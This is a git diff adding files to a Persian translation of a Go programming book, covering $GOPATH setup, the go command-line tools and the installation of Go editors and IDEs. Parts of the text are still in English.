عبور](09.5.md) + - 9.6. [رمزنگاری و رمزگشایی داده ها](09.6.md) + - 9.7. [خلاصه](09.7.md) +- 10.[پشتیبانی از چند زبان و بومی سازی](10.0.md) + - 10.1 [منطقه زمانی](10.1.md) + - 10.2 [منابع محلی](10.2.md) + - 10.3 [سایت های بین المللی](10.3.md) + - 10.4 [خلاصه](10.4.md) +- 11.[کنترل خطا، دیباگ کردن و آزمون](11.0.md) + - 11.1. [کنترل خطا](11.1.md) + - 11.2. [دیباگ کردن با استفاده از GDB](11.2.md) + - 11.3. [نوشتن آزمون های مختلف](11.3.md) + - 11.4. [خلاصه](11.4.md) +- 12.[نصب و نگهداری](12.0.md) + - 12.1. [گزارشات](12.1.md) + - 12.2. [خطاها و کرش کردن](12.2.md) + - 12.3. [نصب و اجرا](12.3.md) + - 12.4. [پشتیبانی و بازیابی اطلاعات](12.4.md) + - 12.5. [خلاصه](12.5.md) +- 13.[ایجاد یک فریمورک وب](13.0.md) + - 13.1. [طراحی پروژه](13.1.md) + - 13.2. [مسیریابی سفارشی شده](13.2.md) + - 13.3. [طراحی کنترلرها](13.3.md) + - 13.4. [گزارشات و پیکربندی](13.4.md) + - 13.5. [افزودن، حذف و ویرایش پست های بلاگ](13.5.md) + - 13.6. [خلاصه](13.6.md) +- 14.[توسعه ی یک فریمورک وب](14.0.md) + - 14.1. [فایل های ایستا](14.1.md) + - 14.2. [نشست](14.2.md) + - 14.3. [فرم](14.3.md) + - 14.4. [تایید اعتبار کاربر](14.4.md) + - 14.5. [پشتیبانی از چند زبان](14.5.md) + - 14.6. [ابزار نظارت عملکرد pprof](14.6.md) + - 14.7. [خلاصه](14.7.md) +- پیوست الف [منابع](ref.md) + +
\ No newline at end of file diff --git a/fa/ref.md b/fa/ref.md new file mode 100644 index 000000000..1e18acf3c --- /dev/null +++ b/fa/ref.md @@ -0,0 +1,14 @@ +# پیوست الف، منابع + +این کتاب، خلاصه ای از تجربیات شخصی من در زمینه برنامه نویسی Go می باشد، با این حال ممکن است بعضی مطالب از سایت ها یا بلاگ های دیگر در این زمینه مطرح شده باشند. با تشکر از همه آن ها! + +1. [golang blog](http://blog.golang.org) +2. [Russ Cox blog](http://research.swtch.com/) +3. [go book](http://go-book.appsp0t.com/) +4. [golangtutorials](http://golangtutorials.blogspot.com) +5. [轩脉刃de刀光剑影](http://www.cnblogs.com/yjf512/) +6. [Go Programming Language](http://golang.org/doc/) +7. [Network programming with Go](http://jan.newmarch.name/go/) +8. [setup-the-rails-application-for-internationalization](http://guides.rubyonrails.org/i18n.html#setup-the-rails-application-for-internationalization) +9. [The Cross-Site Scripting (XSS) FAQ](http://www.cgisecurity.com/xss-faq.html) +10. [Network programming with Go](http://jan.newmarch.name/go) \ No newline at end of file diff --git a/fa/working/01.2.md b/fa/working/01.2.md new file mode 100644 index 000000000..f1dfe0ced --- /dev/null +++ b/fa/working/01.2.md @@ -0,0 +1,156 @@ +# 1.2 $GOPATH و فضای کاری + +## $GOPATH + +Go با معرفی دایرکتوری `$GOPATH` روش منحصر به فردی برای مدیریت فایل های حاوی کد دارد. در این مسیر تمام کدهای مرتبط با go در سیستم شما قرار گرفته است. توجه داشته باشید که این دایرکتوری با متغیر محیطی `$GOROOT`، که مشخص می‌کند go در چه مسیری نصب شده است، تفاوت دارد. قبل از اینکه از این زبان برای برنامه‌نویسی استفاده کنیم باید متغیر `$GOPATH` را تعریف کنیم. در سیستم‌های شبه یونیکس (*nix) فایلی به نام ‍‍`.profile` وجود دارد که باید دستور زیر را به انتهای این فایل اضافه کنیم. مفهوم استفاده از gopath یک مفهوم جدید محسوب می شود که طی آن، هر کد go را می توان در هر زمان و بدون هیچ گونه ابهامی لینک نمود. + +در ورژن go 1.8 به بعد، اگر متغیر محیطی GOPATH تنظیم نشود، یک مقدار پیش فرض برای آن در نظر گرفته می شود که در یونیکس مقدار `$HOME/go` و در ویندوز مقدار `%USERPROFILE%/go` را دارد. + +در سیستم‌های شبه یونیکسی، این متغیر را می‌توان به صورت زیر مورد استفاده قرار داد: + export GOPATH=${HOME}/mygo + +در ویندوز، ابتدا باید یک متغیر محیطی به نام GOPATH ایجاد کنید، که با مقدار `c:\mygo` مقداردهی شده باشد. ( ***این مقدار بستگی به این دارد که فضای کاری شما در کجا قرار گرفته باشد*** ) + +طبیعتا مشکلی ندارد که در فضای کاری شما، بیشتر از یک مقدار برای `$GOPATH` در نظر گرفته شود، فقط توجه داشته باشید که با استفاده از `:` این مقادیر را از هم مجزا کنید (در ویندوز باید از `;` استفاده کنید). در این حالت، دستور `go get` محتوای اولین مسیر شما را در `$GOPATH` قرار می دهد. معمولا توصیه می‌شود که از نصب ورژن‌های متعدد Go خودداری شود. در برترین حالت ممکن است فولدری با نام پروژه خود در مسیر `$GOPATH` ایجاد کنید، که باعث می‌شود همه چیز به هم بریزد. چون وقتی در مسیر `$GOPATH` پوشه ای ساخته می شود، آن پوشه را به عنوان یک پکیج/بسته می شناسد. بنابراین وقتی از دستور `go get` استفاده می‌کنید، دنبال بسته ای هم نام با فولدر شما می‌گردد و طبیعتا آن را پیدا نمی‌کند. پس لطفا از قراردادهای تعریف شده برای برنامه‌نویسی پیروی کنید چون حتما برای تعریف هر یک از آن ها دلیلی وجود داشته است. + +در `$GOPATH`، شما باید سه فولدر به صورت زیر داشته باشید: + +- `src` برای سورس فایل‌هایی که پسوند .go، .c، .g، .s دارند. +- `pkg` برای فایل‌های کامپایل شده ای که پسوند .a دارند. +- `bin` برای فایل‌های اجرایی. + +در این کتاب، ما از `mygo` به عنوان تنها مقداری که در متغیر `$GOPATH` قرار گرفته استفاده می کنیم. + +## دایرکتوری بسته‌ها + +برای ایجاد سورس فایل‌ها و فولدرهای خود از مسیری مانند `$GOPATH/src/mymath/sqrt.go` استفاده کنید به طوری که `mymath` در واقع نام بسته شما محسوب می‌شود. ( ***شما ممکن است نام بسته خود را `mymath` بگذارید و در عین حال دقیقا همین نام را برای پوشه یا فایل‌های بسته در نظر بگیرید*** ) + +هر زمان که بسته ای ایجاد می‌کنید، باید پوشه‌ای در مسیر `src` برای این پکیج در نظر بگیرید، که البته توجه داشته باشید پکیج `main` یک استثناء محسوب می‌شود، چون ساخت پوشه‌ای برای `main` در واقع امری اختیاری است و اجباری ندارد. معمولا نام پوشه‌ها هم‌نام با نام بسته‌ای در نظر گرفته می‌شود که می‌خواهید از آن استفاده کنید. همچنین در صورت لزوم می‌توانید از دایرکتوری‌های چندسطحی استفاده کنید. برای مثال، اگر دایرکتوری `$GOPATH/src/github.com/astaxie/beedb` را ایجاد کرده‌اید، آن‌گاه مسیر بسته‌ی شما به صورت `github.com/astaxie/beedb` خواهد بود. نام بسته درواقع آخرین دایرکتوری در این مسیر می‌باشد که در این مثال `beedb` است. + +دستورات زیر را اجرا کنید. + + cd $GOPATH/src + mkdir mymath + +یک فایل جدید با نام `sqrt.go` ایجاد کرده و متن زیر را در این فایل قرار دهید. + +```Go +// Source code of $GOPATH/src/mymath/sqrt.go +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} +``` +بدین ترتیب دایرکتوری بسته‌ی من ایجاد شده و کدهای مرتبط با آن هم بررسی کردیم. توصیه می‌کنیم که از همان نامی که برای بسته استفاده می‌کنید برای دایرکتوری مرتبط با آن استفاده کنید، به طوری که دایرکتوری شما تمام سورس فایل‌های مربوط به آن بسته را در خود دارد. + +## کامپایل بسته‌ها + +همان‌طور که در بالا عنوان شد، بسته‌ای را ایجاد کردیم. اما سوال اینجاست که چطور این بسته را برای کارهای عملی کامپایل کنیم؟ برای این کار دو روش زیر وجود دارند: + +1. به مسیر پکیج رفته و دستور `go install` را اجرا کنید. +2. دستور فوق را به همراه نام فایل اجرا کنید، مثلا `go install mymath`. + +بعد از اینکه کامپایل انجام شد، می توان به مسیر زیر رفت و تغییرات را مشاهده کرد. + + cd $GOPATH/pkg/${GOOS}_${GOARCH} + // فایل زیر بعد از کامپایل ایجاد شده است + mymath.a + +فایل که پسوند `.a` دارد، در واقع همان فایل باینری مربوط به بسته‌ی ما می‌باشد. چطور از این فایل استفاده کنیم؟ + +به نظر می‌رسد که برای استفاده از این فایل باید یک اپلیکیشن ایجاد کنیم. + +برای این کار یک پکیج اپلیکیشن با نام `mathapp` ایجاد کنید. + + cd $GOPATH/src + mkdir mathapp + cd mathapp + vim main.go + +در فایل main.go دستورات زیر را قرار دهید. + +```Go + +//$GOPATH/src/mathapp/main.go source code. +package main + +import ( + "mymath" + "fmt" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} +``` + +برای کامپایل این برنامه، باید به مسیر این بسته یعنی `$GOPATH/src/mathapp` رفته و دستور `go install` را اجرا کنید. بعد از کامپایل، یک فایل اجرایی با نام `mathapp` در دایرکتوری `$GOPATH/bin/` ایجاد می‌شود. برای اجرای این برنامه، از دستور `./mathapp` استفاده کنید. بعد از اجرای این دستور، عبارت زیر در ترمینال شما نمایش داده می‌شود. + + Hello world. Sqrt(2) = 1.414213562373095 + +## نصب بسته‌های ریموت + +Go has a tool for installing remote packages, which is a command called `go get`. It supports most open source communities, including GitHub, Google Code, BitBucket, and Launchpad. + + go get github.com/astaxie/beedb + +You can use `go get -u …` to update your remote packages and it will automatically install all the dependent packages as well. + +This tool will use different version control tools for different open source platforms. For example, `git` for GitHub and `hg` for Google Code. Therefore, you have to install these version control tools before you use `go get`. + +After executing the above commands, the directory structure should look like following. + + $GOPATH + src + |-github.com + |-astaxie + |-beedb + pkg + |--${GOOS}_${GOARCH} + |-github.com + |-astaxie + |-beedb.a + +Actually, `go get` clones source code to the `$GOPATH/src` of the local file system, then executes `go install`. + +You can use remote packages in the same way that we use local packages. +```Go +import "github.com/astaxie/beedb" +``` +## ساختار کامل دایرکتوری + +If you've followed all of the above steps, your directory structure should now look like the following. + + bin/ + mathapp + pkg/ + ${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +Now you are able to see the directory structure clearly; `bin` contains executable files, `pkg` contains compiled files and `src` contains package source files. + +(The format of environment variables in Windows is `%GOPATH%`, however this book mainly follows the Unix-style, so Windows users need to replace these yourself.) + +## لینک‌ها + +- [فهرست مطالب](preface.md) +- بخش قبلی: [نصب](01.1.md) +- بخش بعدی: [دستورات Go](01.3.md) diff --git a/fa/working/01.3.md b/fa/working/01.3.md new file mode 100644 index 000000000..9340a805e --- /dev/null +++ b/fa/working/01.3.md @@ -0,0 +1,106 @@ +# 1.3 Go commands + +## Go commands + +The Go language comes with a complete set of command operation tools. You can execute the `go` command on the terminal to see them: + +![](images/1.3.go.png?raw=true) + +Figure 1.3 Go command displays detailed information + +These are all useful for us. Let's see how to use some of them. + +## go build + +This command is for compiling tests. It will compile packages and dependencies if it's necessary. + +- If the package is not the `main` package such as `mymath` in section 1.2, nothing will be generated after you execute `go build`. If you need the package file `.a` in `$GOPATH/pkg`, use `go install` instead. +- If the package is the `main` package, it will generate an executable file in the same folder. If you want the file to be generated in `$GOPATH/bin`, use `go install` or `go build -o ${PATH_HERE}/a.exe.` +- If there are many files in the folder, but you just want to compile one of them, you should append the file name after `go build`. For example, `go build a.go`. `go build` will compile all the files in the folder. +- You can also assign the name of the file that will be generated. For instance, in the `mathapp` project (in section 1.2), using `go build -o astaxie.exe` will generate `astaxie.exe` instead of `mathapp.exe`. The default name is your folder name (non-main package) or the first source file name (main package). + +(According to [The Go Programming Language Specification](https://golang.org/ref/spec), package names should be the name after the word `package` in the first line of your source files. It doesn't have to be the same as the folder name, and the executable file name will be your folder name by default.) + +- `go build` ignores files whose names start with `_` or `.`. +- If you want to have different source files for every operating system, you can name files with the system name as a suffix. Suppose there are some source files for loading arrays. They could be named as follows: + + array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go + +`go build` chooses the one that's associated with your operating system. For example, it only compiles array_linux.go in Linux systems, and ignores all the others. + +## go clean + +This command is for cleaning files that are generated by compilers, including the following files: + + _obj/ // old directory of object, left by Makefiles + _test/ // old directory of test, left by Makefiles + _testmain.go // old directory of gotest, left by Makefiles + test.out // old directory of test, left by Makefiles + build.out // old directory of test, left by Makefiles + *.[568ao] // object files, left by Makefiles + + DIR(.exe) // generated by go build + DIR.test(.exe) // generated by go test -c + MAINFILE(.exe) // generated by go build MAINFILE.go + +I usually use this command to clean up my files before I upload my project to Github. These are useful for local tests, but useless for version control. + +## go fmt and gofmt + +The people who are working with C/C++ should know that people are always arguing about which code style is better: K&R-style or ANSI-style. However in Go, there is only one code style which is enforced. For example, left braces must only be inserted at the end of lines, and they cannot be on their own lines, otherwise you will get compile errors! Fortunately, you don't have to remember these rules. `go fmt` does this job for you. Just execute the command `go fmt .go` in terminal. I don't use this command very much because IDEs usually execute this command automatically when you save source files. I will talk more about IDEs in the next section. + +`go fmt` is just an alias, which runs the command 'gofmt -l -w' on the packages named by the import paths. + +We usually use `gofmt -w` instead of `go fmt`. The latter will not rewrite your source files after formatting code. `gofmt -w src` formats the whole project. + +## go get + +This command is for getting remote packages. So far, it supports BitBucket, GitHub, Google Code and Launchpad. There are actually two things that happen after we execute this command. The first thing is that Go downloads the source code, then executes `go install`. Before you use this command, make sure you have installed all of the related tools. + + BitBucket (Mercurial Git) + GitHub (git) + Google Code (Git, Mercurial, Subversion) + Launchpad (Bazaar) + +In order to use this command, you have to install these tools correctly. Don't forget to update the `$PATH` variable. By the way, it also supports customized domain names. Use `go help importpath` for more details about this. + +## go install + +This command compiles all packages and generates files, then moves them to `$GOPATH/pkg` or `$GOPATH/bin`. + +## go test + +This command loads all files whose name include `*_test.go` and generates test files, then prints information that looks like the following. + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + +It tests all your test files by default. Use command `go help testflag` for more details. + +## godoc + +Many people say that we don't need any third-party documentation for programming in Go (actually I've made a [CHM](https://github.com/astaxie/godoc) already). Go has a powerful tool to manage documentation natively. + +So how do we look up package information in documentation? For instance, if you want to get more details about the `builtin` package, use the `godoc builtin` command. Similarly, use the `godoc net/http` command to look up the `http` package documentation. If you want to see more details about specific functions, use the `godoc fmt Printf` and `godoc -src fmt Printf` commands to view the source code. + +Execute the `godoc -http=:8080` command, then open `127.0.0.1:8080` in your browser. You should see a localized golang.org. It can not only show the standard packages' information, but also packages in your `$GOPATH/pkg`. It's great for people who are suffering from the Great Firewall of China. + +## Other commands + +Go provides more commands than those we've just talked about. + + go fix // upgrade code from an old version before go1 to a new version after go1 + go version // get information about your version of Go + go env // view environment variables about Go + go list // list all installed packages + go run // compile temporary files and run the application + +There are also more details about the commands that I've talked about. You can use `go help ` to look them up. + +## Links + +- [Directory](preface.md) +- Previous section: [$GOPATH and workspace](01.2.md) +- Next section: [Go development tools](01.4.md) diff --git a/fa/working/01.4.md b/fa/working/01.4.md new file mode 100644 index 000000000..280a1a54c --- /dev/null +++ b/fa/working/01.4.md @@ -0,0 +1,481 @@ +# Go development tools + +In this section, I'm going to show you a few IDEs that can help you become a more efficient programmer, with capabilities such as intelligent code completion and auto-formatting. They are all cross-platform, so the steps I will be showing you should not be very different, even if you are not using the same operating system. + +## LiteIDE + +LiteIDE is an open source, lightweight IDE for developing Go projects only, developed by visualfc. + +![](images/1.4.liteide.png?raw=true) + +Figure 1.4 Main panel of LiteIDE + +LiteIDE features. + +- Cross-platform + - Windows + - Linux + - Mac OS +- Cross-compile + - Manage multiple compile environments + - Supports cross-compilation of Go +- Project management standard + - Documentation view based on $GOPATH + - Compilation system based on $GOPATH + - API documentation index based on $GOPATH +- Go source code editor + - Code outlining + - Full support of gocode + - Go documentation view and API index + - View code expression using `F1` + - Function declaration jump using `F2` + - Gdb support + - Auto-format with `gofmt` +- Others + - Multi-language + - Plugin system + - Text editor themes + - Syntax support based on Kate + - intelligent completion based on full-text + - Customized shortcuts + - Markdown support + - Real-time preview + - Customized CSS + - Export HTML and PDF + - Convert and merge to HTML and PDF + +### LiteIDE installation + +- Install LiteIDE + - [Download page](https://sourceforge.net/projects/liteide/files/) + - [Source code](https://github.com/visualfc/liteide) + + You need to install Go first, then download the version appropriate for your operating system. Decompress the package to directly use it. +- Install gocode + + You have to install gocode in order to use intelligent completion + + go get -u github.com/nsf/gocode + +- Compilation environment + + Switch configuration in LiteIDE to suit your operating system. + In Windows and using the 64-bit version of Go, you should choose win64 as the configuration environment in the tool bar. Then, choose `Options`, find `LiteEnv` in the left list and open file `win64.env` in the right list. + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + Replace `GOROOT=c:\go` to your Go installation path, save it. If you have MinGW64, add `c:\MinGW64\bin` to your path environment variable for `cgo` support. + + In Linux and using the 64-bit version of Go, you should choose linux64 as the configuration environment in the tool bar. Then, choose `Options`, find `LiteEnv` in the left list and open the `linux64.env` file in the right list. + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 + + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + Replace `GOROOT=$HOME/go` to your Go installation path, save it. +- $GOPATH + $GOPATH is the path that contains a list of projects. Open the command tool (or press ``Ctrl+` ``in LiteIDE), then type `go help gopath` for more details. + It's very easy to view and change $GOPATH in LiteIDE. Follow `View - Setup GOPATH` to view and change these values. + +## Sublime Text + +Here I'm going to introduce you the Sublime Text 3 (Sublime for short) + GoSublime + gocode. Let me explain why. + +- Intelligent completion + + ![](images/1.4.sublime1.png?raw=true) + + Figure 1.5 Sublime intelligent completion +- Auto-format source files +- Project management + + ![](images/1.4.sublime2.png?raw=true) + + Figure 1.6 Sublime project management + +- Syntax highlight +- Free trial forever with no functional limitations. You may be prompted once in a while to remind you to purchase a license, but you can simply ignore it if you wish. Of course, if you do find that it enhances your productivity and you really enjoy using it, please purchase a copy of it and support its continued development! + +First, download the version of [Sublime](http://www.sublimetext.com/) suitable for your operating system. + +1. Press ``Ctrl+` ``, open the command tool and input the following commands. + + Applicable to Sublime Text 3: + +```Go +import urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()) +``` + Applicable to Sublime Text 2: + +```Go +import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Sublime Text to finish installation') +``` + + Restart Sublime Text when the installation has finished. You should then find a `Package Control` option in the "Preferences" menu. + + ![](images/1.4.sublime3.png?raw=true) + + Figure 1.7 Sublime Package Control +2. To install GoSublime, SidebarEnhancements and Go Build, press `Ctrl+Shift+p` to open Package Control, then type `pcip` (short for "Package Control: Install Package"). + + ![](images/1.4.sublime4.png?raw=true) + + Figure 1.8 Sublime Install Packages + + Now type in "GoSublime", press OK to install the package, and repeat the same steps for installing SidebarEnhancements and Go Build. Once again, restart the editor when it completes the installation. +3. To verify that the installation is successful, open Sublime, then open the `main.go` file to see if it has the proper syntax highlighting. Type `import` to see if code completion prompts appear. After typing `import "fmt"`, type `fmt.` anywhere after the `import` declaration to see whether or not intelligent code completion for functions was successfully enabled. + + If everything is fine, you're all set. + + If not, check your $PATH again. Open a terminal, type `gocode`. If it does not run, your $PATH was not configured correctly. + +## Vim + +Vim is a popular text editor for programmers, which evolved from its slimmer predecessor, Vi. It has functions for intelligent completion, compilation and jumping to errors. + +vim-go is vim above an open-source go language using the most extensive development environment plug-ins + +The plugin address:[github.com/fatih/vim-go](https://github.com/fatih/vim-go) + +Vim plugin management are the mainstream [Pathogen](https://github.com/tpope/vim-pathogen) and [Vundle](https://github.com/VundleVim/Vundle.vim) +,But the aspects thereof are different. +Pathogen is to solve each plug-in after the installation of files scattered to multiple directories and poor management of the existence. Vundle is to solve the automatic search and download plug-ins exist. +These two plug-ins can be used simultaneously. + +1.Install Vundle + +```sh +mkdir ~/.vim/bundle +git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim +``` + +Edit .vimrc,Vundle the relevant configuration will be placed in the beginning([Refer to the Vundle documentation for details](https://github.com/VundleVim/Vundle.vim)) + +```sh +set nocompatible " be iMproved, required +filetype off " required + +" set the runtime path to include Vundle and initialize +set rtp+=~/.vim/bundle/Vundle.vim +call vundle#begin() + +" let Vundle manage Vundle, required +Plugin 'gmarik/Vundle.vim' + +" All of your Plugins must be added before the following line +call vundle#end() " required +filetype plugin indent on " required + +``` +2.Install Vim-go + +Edit ~/.vimrc,Add a line between vundle #begin and vundle #end: + +```sh + +Plugin 'fatih/vim-go' +``` + +Executed within Vim: PluginInstall + +3.Install YCM(Your Complete Me) to AutoComplete +Add a line to ~ / .vimrc: +```sh + +Plugin 'Valloric/YouCompleteMe' +``` +Executed within Vim: PluginInstall + + +![](images/1.4.vim.png?raw=true) + +Figure 1.8 Vim intelligent completion for Go + +1. Syntax highlighting for Go + + cp -r $GOROOT/misc/vim/* ~/.vim/ + +2. Enabling syntax highlighting + + filetype plugin indent on + syntax on + +3. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default + +4. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.sh + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + Explanation of gocode configuration: + + propose-builtins: specifies whether or not to open intelligent completion; false by default. + lib-path: gocode only searches for packages in `$GOPATH/pkg/$GOOS_$GOARCH` and `$GOROOT/pkg/$GOOS_$GOARCH`. This setting can be used to add additional paths. + +5. Congratulations! Try `:e main.go` to experience the world of Go! + +## Emacs + +Emacs is the so-called Weapon of God. She is not only an editor, but also a powerful IDE. + +![](images/1.4.emacs.png?raw=true) + +Figure 1.10 Emacs main panel of Go editor + +1. Syntax highlighting + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default +3. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. Install [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) + Download and uncompress + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + Configure ~/.emacs file + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + Follow this [link](http://www.emacswiki.org/emacs/AutoComplete) for more details. +5. Configure .emacs + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) +6. Congratulations, you're done! Speedbar is closed by default -remove the comment symbols in the line `;;(speedbar 1)` to enable this feature, or you can use it through `M-x speedbar`. + +## Eclipse + +Eclipse is also a great development tool. I'll show you how to use it to write Go programs. + +![](images/1.4.eclipse1.png?raw=true) + +Figure 1.1 Eclipse main panel for editing Go + +1. Download and install [Eclipse](http://www.eclipse.org/) +2. Download [goclipse](https://code.google.com/p/goclipse/) + [http://code.google.com/p/goclipse/wiki/InstallationInstructions](http://code.google.com/p/goclipse/wiki/InstallationInstructions) +3. Download gocode + + gocode in Github. + + https://github.com/nsf/gocode + + You need to install git in Windows, usually we use [msysgit](https://code.google.com/p/msysgit/) + + Install gocode in the command tool + + go get -u github.com/nsf/gocode + + You can install from source code if you like. +4. Download and install [MinGW](http://sourceforge.net/projects/mingw/files/MinGW/) +5. Configure plugins. + + Windows->Preferences->Go + + (1).Configure Go compiler + + ![](images/1.4.eclipse2.png?raw=true) + + Figure 1.12 Go Setting in Eclipse + + (2).Configure gocode(optional), set gocode path to where the gocode.exe is. + + ![](images/1.4.eclipse3.png?raw=true) + + Figure 1.13 gocode Setting + + (3).Configure gdb(optional), set gdb path to where the gdb.exe is. + + ![](images/1.4.eclipse4.png?raw=true) + + Figure 1.14 gdb Setting +6. Check the installation + + Create a new Go project and hello.go file as following. + + ![](images/1.4.eclipse5.png?raw=true) + + Figure 1.15 Create a new project and file + + Test installation as follows.(you need to type command in console in Eclipse) + + ![](images/1.4.eclipse6.png?raw=true) + + Figure 1.16 Test Go program in Eclipse + +## IntelliJ IDEA + +People who have worked with Java should be familiar with this IDE. It supports Go syntax highlighting and intelligent code completion, implemented by a plugin. + +1. Download IDEA, there is no difference between the Ultimate and Community editions + + ![](images/1.4.idea1.png?raw=true) + +2. Install the Go plugin. Choose `File - Setting - Plugins`, then click `Browser repo`. + + ![](images/1.4.idea3.png?raw=true) + +3. Search `golang`, double click `download and install` and wait for the download to complete. + + ![](images/1.4.idea4.png?raw=true) + + Click `Apply`, then restart. +4. Now you can create a Go project. + + ![](images/1.4.idea5.png?raw=true) + + Input the position of your Go sdk in the next step -basically it's your $GOROOT. + +( ***See a [blog post](http://wuwen.org/tips-about-using-intellij-idea-and-go/) for setup and use IntelliJ IDEA with Go step by step *** ) + + +## Visual Studio VSCode + +This is an awesome text editor released as open source cross platform my Microsoft which takes the development experience to a whole new level, https://code.visualstudio.com/. It has everything a modern text editor is expected to have and despite being based on the same backend that atom.io is based, it is very fast. + +It works with Windows, Mac, Linux. It has go package built, it provides code linting. + +## Atom + +Atom is an awesome text editor released as open source cross platform, built on Electron , and based on everything we love about our favorite editors. We designed it to be deeply customizable, but still approachable using the default configuration. + +Download: https://atom.io/ + +## GoLand + +GoLand is the codename for a new commercial IDE by JetBrains aimed at providing an ergonomic environment for Go development. + +Download:https://www.jetbrains.com/go/ + +## Links + +- [Directory](preface.md) +- Previous section: [Go commands](01.3.md) +- Next section: [Summary](01.5.md) diff --git a/fa/working/01.5.md b/fa/working/01.5.md new file mode 100644 index 000000000..2538998a9 --- /dev/null +++ b/fa/working/01.5.md @@ -0,0 +1,9 @@ +# 1.5 Summary + +In this chapter, we talked about how to install Go using three different methods including from source code, the standard package and via third-party tools. Then we showed you how to configure the Go development environment, mainly covering how to setup your `$GOPATH`. After that, we introduced some steps for compiling and deploying Go programs. We then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful tools to develop Go programs such as LiteIDE, Sublime Text, VSCode, Atom, GoLand, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Go development tools](01.4.md) +- Next chapter: [Go basic knowledge](02.0.md) diff --git 